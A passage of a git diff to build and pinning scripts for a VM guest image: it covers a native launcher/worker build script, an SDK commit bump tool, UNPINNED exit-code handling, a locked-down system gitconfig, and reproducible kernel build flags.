builds is run, signed or launched here. + */ +import { spawnSync } from "node:child_process"; +import { copyFileSync, existsSync, mkdirSync, mkdtempSync, rmSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { dirname, join, resolve } from "node:path"; +import { fileURLToPath } from "node:url"; +import { COWORK_LAUNCHER_PACKAGE, COWORK_NATIVE, launcherBuildArgs } from "./cowork-native-lib"; + +const REPO = join(dirname(fileURLToPath(import.meta.url)), ".."); +export const WORKER_BUILD_SCRIPT = join("apple", "Cowork", "WinterCoworkHVFWorker", "build.py"); + +/** `python3 -I build.py worker --out --libkrun-include … --libkrun-archive …` */ +export function workerBuildArgs(i: { out: string; include: string; archive: string }): string[] { + return ["-I", join(REPO, WORKER_BUILD_SCRIPT), "worker", "--out", i.out, "--libkrun-include", i.include, "--libkrun-archive", i.archive]; +} + +function fail(message: string): never { + console.error(`build-cowork-native: ${message}`); + process.exit(1); +} +function run(command: string, args: string[], label: string): string { + const result = spawnSync(command, args, { encoding: "utf8", maxBuffer: 64 * 1024 * 1024 }); + if (result.status !== 0) fail(`${label} failed (exit ${result.status}):\n${result.stderr || result.stdout}`); + return result.stdout; +} + +export function buildCoworkNative(options: { out: string; include?: string; archive?: string; launcherOnly?: boolean; scratchRoot?: string }): { launcher: string; worker?: string } { + const out = resolve(options.out); + const scratch = options.scratchRoot ?? mkdtempSync(join(tmpdir(), "cowork-native-build-")); + try { + const packagePath = join(REPO, COWORK_LAUNCHER_PACKAGE), scratchPath = join(scratch, "launcher"); + run("swift", launcherBuildArgs({ packagePath, scratchPath }), "swift build of the launcher"); + const binDir = run("swift", ["build", "--package-path", packagePath, "--scratch-path", scratchPath, "-c", "release", "--show-bin-path"], "swift build --show-bin-path").trim(); + const launcherBuilt = join(binDir, COWORK_NATIVE.launcher.name); + if (!existsSync(launcherBuilt)) fail(`the launcher was not produced at ${launcherBuilt}`); + mkdirSync(out, { recursive: true }); + const result: { launcher: string; worker?: string } = { launcher: join(out, COWORK_NATIVE.launcher.name) }; + copyFileSync(launcherBuilt, result.launcher); + if (options.launcherOnly !== true) { + if (!options.include || !options.archive) fail("the worker needs --libkrun-include and --libkrun-archive (S4's header directory and stripped production archive); pass --launcher-only to build just the launcher"); + if (!existsSync(join(options.include, "libkrun.h")) || !existsSync(options.archive)) fail("--libkrun-include/libkrun.h or --libkrun-archive does not exist"); + const workerOut = join(scratch, "worker"); + run("python3", workerBuildArgs({ out: workerOut, include: resolve(options.include), archive: resolve(options.archive) }), "build.py worker"); + const workerBuilt = join(workerOut, "worker", COWORK_NATIVE.worker.name); + if (!existsSync(workerBuilt)) fail(`the worker was not produced at ${workerBuilt}`); + result.worker = join(out, COWORK_NATIVE.worker.name); + copyFileSync(workerBuilt, result.worker); + } + return result; + } finally { + if (options.scratchRoot === undefined) rmSync(scratch, { recursive: true, force: true }); + } +} + +if (import.meta.main) { + const args = process.argv.slice(2); + const value = (flag: string): string | undefined => { const at = args.indexOf(flag); return at >= 0 ? args[at + 1] : undefined; }; + const built = buildCoworkNative({ + out: value("--out") ?? join(REPO, "dist", "cowork-native"), + include: value("--libkrun-include") ?? process.env.COWORK_LIBKRUN_INCLUDE, + archive: value("--libkrun-archive") ?? process.env.COWORK_LIBKRUN_ARCHIVE, + launcherOnly: args.includes("--launcher-only"), + }); + console.log(`built: ${built.launcher}${built.worker ? `, ${built.worker}` : ""}`); +} diff --git a/scripts/cowork-guest-artifact/README.md b/scripts/cowork-guest-artifact/README.md index 4869cce3e..9e35bf75e 100644 --- a/scripts/cowork-guest-artifact/README.md +++ b/scripts/cowork-guest-artifact/README.md @@ -2,7 +2,7 @@ This builds a readonly root tree, canonical newc cpio and deterministic gzip companion. It does not install anything, invoke maintainer scripts, mount/format a disk, launch a guest or enable Cowork. The only startup program it carries is the pinned `/init` built from `apple/Cowork/WinterCoworkGuest` (N2 slice S5); every other startup path is still refused, and nothing here executes it. Frozen source/payload receipts are prerequisites for native integration, not authority or readiness. -Requirements: existing Python 3 with xz/tar/gzip support, gpg/gpgv, rsync, Git and Bun 1.3.14. No dependency installation is performed. The caller supplies the pinned SDK checkout (`sdkCommit` in `pins.json`, currently SDK main at `7e71929d`; the expected artifact digests are pinned, and the build ends non-zero after writing every output if any of them differs), canonical builder correction checkout at `180d3effd7ddbb9406aeea0912f76c78ef20cf75`, verified Zig 0.14.1 archive and verified official Linux ARM64 Bun base. Source is exported from the exact Git commit; provisioned SDK dependency bytes are copied without executing package scripts. The final runtime hash is also pinned, so a changed dependency/compiler result refuses rather than silently updating the image. +Requirements: existing Python 3 with xz/tar/gzip support, gpg/gpgv, rsync, Git and Bun 1.3.14. No dependency installation is performed. The caller supplies the pinned SDK checkout (`sdkCommit` in `pins.json`, currently SDK main at `ec91fe06`; the expected artifact digests are pinned, and a build whose digests differ from the pins stops with exit 3 UNPINNED; the one-run workflow still uploads the kernel, initramfs, receipts and digests.json, then fails its assert step, and nothing admits an image that is not pinned by digest), canonical builder correction checkout at `180d3effd7ddbb9406aeea0912f76c78ef20cf75`, verified Zig 0.14.1 archive and verified official Linux ARM64 Bun base. Source is exported from the exact Git commit; provisioned SDK dependency bytes are copied without executing package scripts. The final runtime hash is also pinned, so a changed dependency/compiler result refuses rather than silently updating the image. ```sh python3 scripts/cowork-guest-artifact/packages.py --out out/cowork-guest-artifact @@ -24,4 +24,6 @@ Bun runtime compile calls the corrected canonical SDK builder through a thin wra The gzip companion uses empty filename, mtime 0, level 9 and records the zlib version. Its decompressed hash must equal canonical cpio. Both companions repeated here; cross-zlib compressed reproducibility is not assumed. Inspected pinned-kernel configs include CONFIG_RD_GZIP=y, but this payload has no boot/admission proof. Compression does not remove the expanded root's guest RAM cost. Runtime/root/helpers remain immutable candidate inputs, separate from future writable data/environment disks; no backend device was changed or added. +The guest `init` and `winter-guest-relay` binary pins (`guest.programs.*.binarySha256`) may be an explicit `null`: the build then reports the digest it produced, ends at exit 3 UNPINNED like the other unpinned fields, and `verify.py` reads such a root back only with `--allow-unpinned` (against the init digest its own receipt claims; never accepted). A pin that is set and differs from the build is a hard failure, and a missing key is an error. + Updating the SDK/provider source, compiler, distro snapshot, packages or helpers requires an explicit new artifact/pin/receipt review. The unchanged SDK package semver is never a substitute for source and binary identity. No release/consumer SDK pin is performed here. diff --git a/scripts/cowork-guest-artifact/bump_sdk_commit.py b/scripts/cowork-guest-artifact/bump_sdk_commit.py index 2cd7ef981..3b72dfb27 100644 --- a/scripts/cowork-guest-artifact/bump_sdk_commit.py +++ b/scripts/cowork-guest-artifact/bump_sdk_commit.py @@ -2,11 +2,16 @@ python3 -I -S -B bump_sdk_commit.py NEW_COMMIT --supervisor-sha256 SHA256_OF_linux-supervisor.py_AT_NEW_COMMIT - pins.json sdkCommit, sdkPin.mainAt, sdkPin.supervisorSha256 + pins.json sdkCommit, sdkPin.mainAt, sdkPin.supervisorSha256, runtimeArtifacts.launcher.sourceSha256, runtimeArtifacts.ownerLibrary.sourceSha256 + sdk-supervisor-cli.json sdkCommit, supervisorSha256 (the argument forms are re-derived by test_image.py when WINTER_SDK_CHECKOUT is set) + README.md the short commit named as the current SDK main the one-run workflow env AGENT_SDK_HEAD +With --sdk-checkout the three source digests are read from that clone at NEW_COMMIT (`git show`); without it all three must be given. `sdk_derived_problems` is the check that nothing derived from the SDK commit is left stale +(the package lock is NOT SDK-derived: it comes only from the Debian snapshot pins). -Nothing else moves: `expectedArtifact` stays what it was and is therefore STALE after the bump (the supervisor and the owner library change the cpio). The next image build reports which -digests changed and `image_build_report.py` publishes them for the re-pin; that is the intended flow, and the gate test (guest-image-build-gates.test.ts) fails if the workflow's +Nothing else moves: `expectedArtifact` stays what it was and is therefore STALE after the bump (the supervisor and the owner library change the cpio). The next image build stops at +image.py exit 3 (UNPINNED) with the digests that differ; the workflow tolerates exit 3, uploads the kernel, initramfs, receipts and digests.json as the guest-image artifact (the image whose digests get pinned), and only then +turns the run red in the assert step. That is the intended flow, and nothing admits an image that is not pinned by digest: and the gate test (guest-image-build-gates.test.ts) fails if the workflow's AGENT_SDK_HEAD and pins.json ever differ. The supervisor digest is computed by the reviewer from the SDK checkout (`git show NEW:packages/runtime/src/guest/linux-supervisor.py | sha256sum`); image.py refuses a build whose supervisor does not hash to it. """ @@ -19,10 +24,41 @@ HEX40, HEX64 = re.compile(r"^[0-9a-f]{40}$"), re.compile(r"^[0-9a-f]{64}$") -def bump(pins_text, workflow_text, new_commit, supervisor_sha256): - """The two new texts, or ValueError. Pure.""" - if not HEX40.match(new_commit) or not HEX64.match(supervisor_sha256): - raise ValueError("a full lowercase 40-hex commit and a 64-hex supervisor digest are required") +CLI = HERE / "sdk-supervisor-cli.json" +README = HERE / "README.md" +GUEST_DIR = "packages/runtime/src/guest/" + + +def sdk_derived_problems(pins_text, workflow_text, cli_text, readme_text): + """Everything in the image pins that is derived from the SDK commit, checked against `sdkCommit` / `supervisorSha256`. Empty = nothing is stale. Pure.""" + pins, cli, problems = json.loads(pins_text), json.loads(cli_text), [] + commit, supervisor = pins["sdkCommit"], pins["sdkPin"]["supervisorSha256"] + if pins["sdkPin"]["mainAt"] != commit: + problems.append("sdkPin.mainAt differs from sdkCommit") + if re.findall(r"^ AGENT_SDK_HEAD: '([0-9a-f]{40})'", workflow_text, flags=re.M) != [commit]: + problems.append("the workflow AGENT_SDK_HEAD differs from sdkCommit") + if (cli["sdkCommit"], cli["supervisorSha256"]) != (commit, supervisor): + problems.append("sdk-supervisor-cli.json is for another commit or supervisor") + if f"SDK main at `{commit[:8]}`" not in readme_text: + problems.append("README.md names another SDK commit") + for name in ("launcher", "ownerLibrary"): + if not HEX64.match(pins["runtimeArtifacts"][name]["sourceSha256"]): + problems.append(f"runtimeArtifacts.{name}.sourceSha256 is not a digest") + return problems + + +def read_from_checkout(checkout, commit): + """(supervisor, launcher, owner) SHA-256 of the three SDK sources at `commit`, read with `git show` only.""" + import hashlib, subprocess + pins = json.loads(PINS.read_text()) + paths = [GUEST_DIR + "linux-supervisor.py", GUEST_DIR + pins["runtimeArtifacts"]["launcher"]["source"], GUEST_DIR + pins["runtimeArtifacts"]["ownerLibrary"]["source"]] + return tuple(hashlib.sha256(subprocess.check_output(["git", "-C", str(checkout), "show", f"{commit}:{path}"])).hexdigest() for path in paths) + + +def bump(pins_text, workflow_text, new_commit, supervisor_sha256, launcher_sha256=None, owner_sha256=None, cli_text=None, readme_text=None): + """The new texts, or ValueError. Pure. Two texts when only the workflow and pins are given (the original form); four when the CLI fixture and the README are given too.""" + if not HEX40.match(new_commit) or not HEX64.match(supervisor_sha256) or any(v is not None and not HEX64.match(v) for v in (launcher_sha256, owner_sha256)): + raise ValueError("a full lowercase 40-hex commit and 64-hex source digests are required") pins = json.loads(pins_text) old = pins["sdkCommit"] if new_commit == old: @@ -31,6 +67,10 @@ def bump(pins_text, workflow_text, new_commit, supervisor_sha256): raise ValueError("pins.json is inconsistent: sdkCommit and sdkPin.mainAt differ") edits = [(r'("sdkCommit": ")%s(")' % old, new_commit), (r'("mainAt": ")%s(")' % old, new_commit), (r'("supervisorSha256": ")%s(")' % pins["sdkPin"]["supervisorSha256"], supervisor_sha256)] + for name, value in (("launcher", launcher_sha256), ("ownerLibrary", owner_sha256)): + current = pins["runtimeArtifacts"][name]["sourceSha256"] + if value is not None and value != current: + edits.append((r'("sourceSha256": ")%s(")' % current, value)) for pattern, value in edits: pins_text, count = re.subn(pattern, r"\g<1>%s\g<2>" % value, pins_text) if count != 1: @@ -41,17 +81,38 @@ def bump(pins_text, workflow_text, new_commit, supervisor_sha256): moved = json.loads(pins_text) if (moved["sdkCommit"], moved["sdkPin"]["mainAt"], moved["sdkPin"]["supervisorSha256"]) != (new_commit, new_commit, supervisor_sha256): raise ValueError("the edit did not land") - return pins_text, workflow_text + if cli_text is None and readme_text is None: + return pins_text, workflow_text + cli = json.loads(cli_text) + if cli["sdkCommit"] != old: + raise ValueError("sdk-supervisor-cli.json is not for the pinned commit") + cli_text = cli_text.replace(f'"sdkCommit": "{old}"', f'"sdkCommit": "{new_commit}"', 1).replace(f'"supervisorSha256": "{cli["supervisorSha256"]}"', f'"supervisorSha256": "{supervisor_sha256}"', 1) + if f"SDK main at `{old[:8]}`" not in readme_text: + raise ValueError("README.md does not name the pinned SDK commit") + readme_text = readme_text.replace(f"SDK main at `{old[:8]}`", f"SDK main at `{new_commit[:8]}`", 1) + leftover = sdk_derived_problems(pins_text, workflow_text, cli_text, readme_text) + if leftover: + raise ValueError("the bump left SDK-derived pins stale: " + "; ".join(leftover)) + return pins_text, workflow_text, cli_text, readme_text def main(argv): parser = argparse.ArgumentParser() parser.add_argument("commit") - parser.add_argument("--supervisor-sha256", required=True) + parser.add_argument("--sdk-checkout", type=Path, help="an SDK clone: the three source digests are read from it at COMMIT") + parser.add_argument("--supervisor-sha256") + parser.add_argument("--launcher-sha256") + parser.add_argument("--owner-sha256") args = parser.parse_args(argv) - pins_text, workflow_text = bump(PINS.read_text(), WORKFLOW.read_text(), args.commit, args.supervisor_sha256) - PINS.write_text(pins_text) - WORKFLOW.write_text(workflow_text) + if args.sdk_checkout: + supervisor, launcher, owner = read_from_checkout(args.sdk_checkout, args.commit) + elif args.supervisor_sha256 and args.launcher_sha256 and args.owner_sha256: + supervisor, launcher, owner = args.supervisor_sha256, args.launcher_sha256, args.owner_sha256 + else: + parser.error("give --sdk-checkout, or all of --supervisor-sha256 --launcher-sha256 --owner-sha256") + texts = bump(PINS.read_text(), WORKFLOW.read_text(), args.commit, supervisor, launcher, owner, CLI.read_text(), README.read_text()) + for path, text in zip((PINS, WORKFLOW, CLI, README), texts): + path.write_text(text) return 0 diff --git a/scripts/cowork-guest-artifact/environment/gitconfig b/scripts/cowork-guest-artifact/environment/gitconfig new file mode 100644 index 000000000..26bbe59a2 --- /dev/null +++ b/scripts/cowork-guest-artifact/environment/gitconfig @@ -0,0 +1,11 @@ +# Winter guest: the environment image's fixed system gitconfig (the tool launcher mounts it read-only at /etc/gitconfig for the process worker). +# Safe defaults only: no hook, no fsmonitor, no credential helper, no include, no alias. verify.py accepts exactly these settings and nothing else. +[init] + templateDir = /usr/share/winter/git-empty-template +[core] + hooksPath = /dev/null + fsmonitor = false +[credential] + helper = +[protocol "ext"] + allow = never diff --git a/scripts/cowork-guest-artifact/image.py b/scripts/cowork-guest-artifact/image.py index 0cf25807f..eeb96f5be 100644 --- a/scripts/cowork-guest-artifact/image.py +++ b/scripts/cowork-guest-artifact/image.py @@ -379,12 +379,19 @@ def build_guest(zig,out,pins): receipt=json.loads((out/'receipt.json').read_text());pinned=pins['guest'] for name,entry in pinned['programs'].items(): built=receipt['programs'][name] - if built['binarySha256']!=entry['binarySha256']:raise ValueError('guest program '+name+' is not the pinned build') + if 'binarySha256' not in entry:raise ValueError('guest program '+name+' has no binarySha256 key in pins.json (null means unpinned; a missing key is an error)') + # An explicit null is an UNPINNED binary (guest_binary_problems reports the built digest and the build ends at exit 3); a pin that is set must be exactly the built one, as ever. + if entry['binarySha256'] is not None and built['binarySha256']!=entry['binarySha256']:raise ValueError('guest program '+name+' is not the pinned build') if built['sourceSha256']!=entry['sourceSha256']:raise ValueError('guest program '+name+' source drifted from the pin') for name,entry in pinned['scripts'].items(): if receipt['scripts'][name]['sha256']!=entry['sha256']:raise ValueError('guest script '+name+' is not the pinned one') return {name:(out/name).read_bytes() for name in pinned['programs']},{name:(GUEST/path).read_bytes() for name,path in pinned['scriptPaths'].items()},receipt +def guest_binary_problems(receipt,pins): + """UNPINNED entries for the guest programs whose pins.json binarySha256 is an explicit null, each with the digest this build produced (build_guest has already refused every + non-null pin that differs and every missing key). Empty when all are pinned.""" + return ['guest program '+name+' binarySha256 is not pinned (built '+receipt['programs'][name]['binarySha256']+')' for name,entry in pins['guest']['programs'].items() if entry['binarySha256'] is None] + def source_snapshot(sdk,commit,destination): actual=subprocess.check_output(['git','-C',str(sdk),'rev-parse',commit],text=True).strip() if actual!=commit: raise ValueError('SDK commit') @@ -417,7 +424,10 @@ def main(): if subprocess.check_output([str(zig),'version'],text=True).strip()!=pins['zig']['version']: raise ValueError('Zig version') if sha(args.bun_base.read_bytes())!=pins['bun']['executableSha256']: raise ValueError('Bun base') tree=Tree();lock_bytes=(out.parent/'packages.lock.json').read_bytes() - if sha(lock_bytes)!=pins['packageLockSha256']:raise ValueError('unpinned package lock') + lock_sha=sha(lock_bytes) + # A package lock that is not the pinned one does not stop the build: the build finishes, publishes the lock and its digest, and exits 3 UNPINNED below, so ONE run reports every stale pin. + # Every package is still checked against its own SHA-256 from the lock, and an unpinned result is never accepted (verify.py needs --allow-unpinned, the workflow's assert step stays red). + lock_problems=[] if lock_sha==pins['packageLockSha256'] else ['packageLockSha256 is '+lock_sha+', not the pinned '+str(pins['packageLockSha256'])] lock=json.loads(lock_bytes) hardlinks=sum(add_deb(tree,entry,out.parent/'downloads'/(entry['SHA256']+'.deb')) for entry in lock['packages']) # The reviewed supervisor treats its environment root as protected. Using '/' would reject @@ -426,6 +436,7 @@ def main(): package_tree=tree;tree=Tree();base='opt/winter/environment/base' for name,node in sorted(package_tree.nodes.items()): for origin in node['origins']:tree.add(base+'/'+name,node['kind'],node['data'],node['mode']==0o555 and node['kind']=='file',origin) + # (the top-level `etc` becomes a symlink to opt/winter/environment/base/etc: a literal etc/... cpio member would be written THROUGH that symlink, which is why verify.py refuses an etc/gitconfig entry) for name in ['bin','lib','lib64','sbin','usr','etc']: if base+'/'+name in tree.nodes:tree.add(name,'symlink',(base+'/'+name).encode(),origin='derived:immutable-environment-root-alias') env=os.environ.copy();env['BUN_MAX_THREADS']='2' @@ -466,12 +477,20 @@ def main(): if not certificates: raise ValueError('CA provenance missing') tree.add(base+'/etc/ssl/certs/ca-certificates.crt','file',b''.join(certificates),origin='derived:verified-mozilla-package-certificates') if base+'/bin/sh' not in tree.nodes:tree.add(base+'/bin/sh','symlink',b'dash',origin='derived:explicit-dash-shell') + # The environment's fixed system gitconfig (agent-sdk SH6b mounts it read-only at /etc/gitconfig for the process worker) and the empty directory its init.templateDir names: + # safe defaults only (verify.check_gitconfig_text), the pinned bytes of a file kept beside this script, never derived from anything at build time. + gitconfig=(HERE/'environment'/'gitconfig').read_bytes() + verify.check_gitconfig_text(gitconfig) + if sha(gitconfig)!=pins['environment']['gitconfigSha256']:raise ValueError('environment/gitconfig does not match the pinned environment.gitconfigSha256') + tree.add(verify.ENVIRONMENT_GITCONFIG_PATH.lstrip('/'),'file',gitconfig,False,'pinned:scripts/cowork-guest-artifact/environment/gitconfig') + tree.add(verify.GIT_TEMPLATE_DIRECTORY.lstrip('/'),'directory',origin='derived:empty-git-template-directory') for path in ['opt/winter','workspace','proc','dev','sys','run','tmp']:tree.add(path,'directory') - check_startup(tree,pins['guest']['programs']['init']['binarySha256']) + check_startup(tree,pins['guest']['programs']['init']['binarySha256'] or sha(programs['init'])) # (a null pin: the init of the tree is still exactly the one just built, and it is the only startup program) records=verify_elfs(tree) refuse_blkid(tree) refuse_provider_bridge(tree) verify.check_runtime_artifacts(tree_files(tree),tree.nodes[verify.RUNTIME_ARTIFACTS_PATH]['data']) + verify.check_environment_gitconfig(tree_files(tree),pins['environment']['gitconfigSha256']) required=REQUIRED_PROGRAMS for path in required: target,node=tree.resolve(path) @@ -481,15 +500,17 @@ def main(): tree.materialize(out/'root');tree.cpio(out/'immutable-root.cpio') manifest=tree.manifest();(out/'root.manifest.json').write_text(json.dumps(manifest,sort_keys=True,indent=2)+'\n');(out/'elf-dependencies.json').write_text(json.dumps(records,sort_keys=True,indent=2)+'\n') receipt={'formatVersion':1,'sdkSourceCommit':pins['sdkCommit'],'builderCommit':pins['builderCommit'],'builderSha256':sha((builder/'scripts/build-runtime.ts').read_bytes()),'sourceHelpers':helper_receipts,'sharedCompartmentHeaderSha256':sha((helper_dir/'linux-compartment.h').read_bytes()),'supervisorSourceSha256':sha(supervisor.read_bytes()),'runtimeSha256':sha(runtime.read_bytes()),'rootManifestSha256':sha((out/'root.manifest.json').read_bytes()),'cpioSha256':sha((out/'immutable-root.cpio').read_bytes()),'cpioBytes':(out/'immutable-root.cpio').stat().st_size,'inputHardlinksMaterializedAsIndependentFiles':hardlinks,'elfCount':len(records),'toolEnvironmentRoot':'/'+base,'isolatedPythonInvocation':['/usr/bin/python3','-I','-S','-B','/opt/winter/libexec/linux-supervisor.py'],'packageLockSha256':sha((out.parent/'packages.lock.json').read_bytes()),'guestExecutionVerified':False,'initPresent':True,'initSha256':sha(programs['init']),'relaySha256':sha(programs['winter-guest-relay']),'guest':{'programs':guest_receipt['programs'],'scripts':guest_receipt['scripts'],'zig':guest_receipt['zig']},'toolDevices':tool_devices,'supervisorBaseSha256':sha(supervisor_base_config(helper_digests)+b'\n'),'hostQuery':{'entry':HOST_QUERY_ENTRY,'executablePath':verify.RUNTIME_ARTIFACT_PATHS['executable'],'artifacts':{key:{'path':verify.RUNTIME_ARTIFACT_PATHS[key],'sha256':digest} for key,digest in runtime_digests.items()},'runtimeArtifactsSha256':sha(tree.nodes[verify.RUNTIME_ARTIFACTS_PATH]['data']),'secondPassIdentical':True,'providerBridge':False,'guidedProfile':False},'vmAdmitted':False} - problems=check_expected(receipt,pins['expectedArtifact']) - if pins['expectedArtifact'] is not None and problems:raise ValueError('; '.join(problems)) + problems=check_expected(receipt,pins['expectedArtifact'])+lock_problems+guest_binary_problems(guest_receipt,pins) + receipt['packageLockSha256']=lock_sha + receipt['environment']={'gitconfigPath':'/etc/gitconfig','gitconfigSha256':sha(gitconfig)} + (out/'packages.lock.json').write_bytes(lock_bytes) receipt['reproducibilityPinned']=not problems (out/'receipt.json').write_text(json.dumps(receipt,sort_keys=True,indent=2)+'\n') from metrics import finish finish(out) print((out/'receipt.json').read_text(),flush=True) if problems: - # The re-pin changed the SDK source, so the old digests no longer apply. Every output is written; the build still ends - # non-zero until a reviewer copies the receipt values into pins.json, so an unpinned artifact is never mistaken for a pinned one. + # A pin is stale (a re-pin changed the SDK source, or the package lock or a digest differs). Every output is written, stale or reproducibility-mismatched digests included; the build still ends + # non-zero (3) until a reviewer copies the receipt values into pins.json, so an unpinned artifact is never mistaken for a pinned one. print('UNPINNED: '+'; '.join(problems),file=sys.stderr);raise SystemExit(3) if __name__=='__main__':main() diff --git a/scripts/cowork-guest-artifact/image_build_report.py b/scripts/cowork-guest-artifact/image_build_report.py index 222e6f20a..faf6683f1 100644 --- a/scripts/cowork-guest-artifact/image_build_report.py +++ b/scripts/cowork-guest-artifact/image_build_report.py @@ -37,14 +37,17 @@ def image_summary(folder): folder = Path(folder) receipt = read_json(folder / "receipt.json") return {"cpioSha256": sha256_file(folder / "immutable-root.cpio"), "cpioBytes": (folder / "immutable-root.cpio").stat().st_size, - "rootManifestSha256": sha256_file(folder / "root.manifest.json"), "runtimeSha256": receipt["runtimeSha256"], "initSha256": receipt["initSha256"], + "rootManifestSha256": sha256_file(folder / "root.manifest.json"), "runtimeSha256": receipt["runtimeSha256"], "initSha256": receipt["initSha256"], "relaySha256": receipt["relaySha256"], "packageLockSha256": receipt.get("packageLockSha256"), + # the guest binaries are pinned only when pins.json holds a digest and it is the one this build produced (a null pin, or a stale one, is false): the post-build pin step reads both digests here + "initPinned": PINS["guest"]["programs"]["init"]["binarySha256"] == receipt["initSha256"], "relayPinned": PINS["guest"]["programs"]["winter-guest-relay"]["binarySha256"] == receipt["relaySha256"], "reproducibilityPinned": receipt.get("reproducibilityPinned")} def report(kernel_1, kernel_2, image_1, image_2, status_1, status_2): k1, k2, i1, i2 = kernel_summary(kernel_1), kernel_summary(kernel_2), image_summary(image_1), image_summary(image_2) expected = PINS["expectedArtifact"] - pins_hold = {"cpioSha256": i1["cpioSha256"] == expected["cpioSha256"], "rootManifestSha256": i1["rootManifestSha256"] == expected["rootManifestSha256"], "runtimeSha256": i1["runtimeSha256"] == expected["runtimeSha256"]} + pins_hold = {"cpioSha256": i1["cpioSha256"] == expected["cpioSha256"], "rootManifestSha256": i1["rootManifestSha256"] == expected["rootManifestSha256"], "runtimeSha256": i1["runtimeSha256"] == expected["runtimeSha256"], + "packageLockSha256": i1["packageLockSha256"] == PINS["packageLockSha256"]} return { "formatVersion": 1, "kernel": {**k1, "reproducible": k1 == k2, "pinnedBefore": KERNEL_PINS["expectedOutputs"]["Image"], "bootVerified": False}, @@ -59,16 +62,24 @@ def problems(digests): out = [] if not digests["kernel"]["reproducible"]: out.append("the two kernel builds differ") + pinned_kernel = digests["kernel"]["pinnedBefore"] + if pinned_kernel is None: + out.append("the kernel Image is not pinned yet (kernel/pins.json expectedOutputs.Image)") + elif pinned_kernel != digests["kernel"]["ImageSha256"]: + out.append("the built kernel is not the pinned kernel (kernel/pins.json expectedOutputs.Image)") if not digests["image"]["reproducible"]: out.append("the two image builds differ") if digests["image"]["imageExitStatus"] != [0, 0]: out.append(f"image.py exited {digests['image']['imageExitStatus']} (3 means a built digest differs from pins.json)") + for name, key, pinned in (("init", "initSha256", "initPinned"), ("winter-guest-relay", "relaySha256", "relayPinned")): + if digests["image"].get(pinned) is False: + out.append(f"pins.json guest.programs.{name}.binarySha256 is null or does not hold (digests.json image.{key} is what this build produced)") out += [f"pins.json {name} does not hold" for name, held in digests["image"]["pinsHold"].items() if not held] return out PUBLISH = [("kernel", "Image", "kernel"), ("kernel", "resolved.config", "resolved.config"), ("kernel", "kernel-receipt.json", "kernel-receipt.json"), - ("image", "immutable-root.cpio", "initramfs.cpio"), ("image", "receipt.json", "receipt.json"), ("image", "root.manifest.json", "root.manifest.json"), + ("image", "immutable-root.cpio", "initramfs.cpio"), ("image", "receipt.json", "receipt.json"), ("image", "root.manifest.json", "root.manifest.json"), ("image", "packages.lock.json", "packages.lock.json"), ("image", "elf-dependencies.json", "elf-dependencies.json"), ("image", "size-breakdown.json", "size-breakdown.json"), ("image", "cpio-verification.json", "cpio-verification.json")] diff --git a/scripts/cowork-guest-artifact/kernel/RECIPE.md b/scripts/cowork-guest-artifact/kernel/RECIPE.md index 267256c37..7b2fa203a 100644 --- a/scripts/cowork-guest-artifact/kernel/RECIPE.md +++ b/scripts/cowork-guest-artifact/kernel/RECIPE.md @@ -12,7 +12,7 @@ result may run. | Base config | `base-apple-6.18.35.config` (the cached Apple/Kata feasibility config, copied here byte for byte), SHA-256 `a5dfc1ee...c21` | | Change from the base | `memory-fragment.config`: `CONFIG_DEBUG_INFO_BTF=n`, and nothing else | | Crypto fragment | **none.** No dm-crypt, dm-integrity or crypto user API: there is no encrypted-disk claim in this slice | -| Compiler | kernel.org slim LLVM 20.1.8 aarch64 bundle, SHA-256 `945d2228...ba7`, detached signature verified | +| Compiler | kernel.org slim LLVM 20.1.8 aarch64 bundle, SHA-256 `945d2228...ba7`, detached signature over the decompressed tar | | Builder | the isolated, offline, non-root Ubuntu 24.04 arm64 container of the crypto comparison build (image ID, base manifest, Dockerfile digest and package snapshot are in `pins.json`) | The base config already has what the guest needs (`VIRTIO_CONSOLE`, `VIRTIO_BLK`, `VIRTIO_MMIO`, `VIRTIO_BALLOON`, diff --git a/scripts/cowork-guest-artifact/kernel/ci-build.json b/scripts/cowork-guest-artifact/kernel/ci-build.json index aef2af643..2975826be 100644 --- a/scripts/cowork-guest-artifact/kernel/ci-build.json +++ b/scripts/cowork-guest-artifact/kernel/ci-build.json @@ -1,7 +1,7 @@ { "formatVersion": 1, "decision": "D6-native (recommended, owner to confirm): build the pinned kernel recipe on a GitHub-hosted Linux ARM64 runner with the pinned LLVM, instead of in the saved Docker builder image, which nothing CI can fetch. The pins in pins.json (source, signatures, keys, base config, fragment, required symbols, make commands) are used unchanged; this file adds only what that recipe left open.", - "status": "unrun", + "status": "run-once-reproduced", "runner": "ubuntu-24.04-arm", "sourceDateEpoch": "1792281600", "kbuildBuildTimestamp": "Sun Oct 18 00:00:00 UTC 2026", diff --git a/scripts/cowork-guest-artifact/kernel/native_build.py b/scripts/cowork-guest-artifact/kernel/native_build.py index 672f0bba5..5670ae7a0 100644 --- a/scripts/cowork-guest-artifact/kernel/native_build.py +++ b/scripts/cowork-guest-artifact/kernel/native_build.py @@ -94,12 +94,20 @@ def rewrite_command(command, source, output, llvm_bin, jobs): return out -def build_environment(llvm_bin): +def path_independence_flags(work): + """Compiler flags that map the whole work folder (source, output and compiler live under it) to `.` in file names, debug information and macros, so the kernel does not carry the runner's path. The work folder is also a fixed path in the workflow (belt and braces).""" + work = str(work) + return " ".join(f"{flag}={work}=." for flag in ("-ffile-prefix-map", "-fdebug-prefix-map", "-fmacro-prefix-map")) + + +def build_environment(llvm_bin, work=None): env = dict(PINS["environment"]) env["PATH"] = f"{llvm_bin}:/usr/bin:/bin" env["SOURCE_DATE_EPOCH"] = CI["sourceDateEpoch"] env["KBUILD_BUILD_TIMESTAMP"] = CI["kbuildBuildTimestamp"] env["HOME"] = env.get("HOME", "/nonexistent") + if work is not None: + env["KCFLAGS"] = env["KAFLAGS"] = path_independence_flags(work) return env @@ -115,7 +123,8 @@ def gpg_verify(signature, data, public_key, fingerprints, gpg="gpg"): for line in result.stdout.splitlines(): if line.startswith("[GNUPG:] VALIDSIG "): fields = line.split()[2:] - if fields and (fields[0] in fingerprints or fields[-1] in fingerprints): + # VALIDSIG : the signing key is field 0, the primary field 9. + if len(fields) > 9 and (fields[0] in fingerprints or fields[9] in fingerprints): return raise ValueError("signature is valid but not by the pinned signer") @@ -139,11 +148,11 @@ def check_inputs(downloads): check_pinned_file(HERE / PINS["fragment"]["file"], PINS["fragment"]["sha256"]) -def verify_signatures(downloads, kernel_tar): - """The kernel signature is over the DECOMPRESSED tar; the compiler's is over the archive as downloaded.""" +def verify_signatures(downloads, kernel_tar, toolchain_tar): + """Both signatures are over the DECOMPRESSED tar (kernel.org signs the .tar, not the 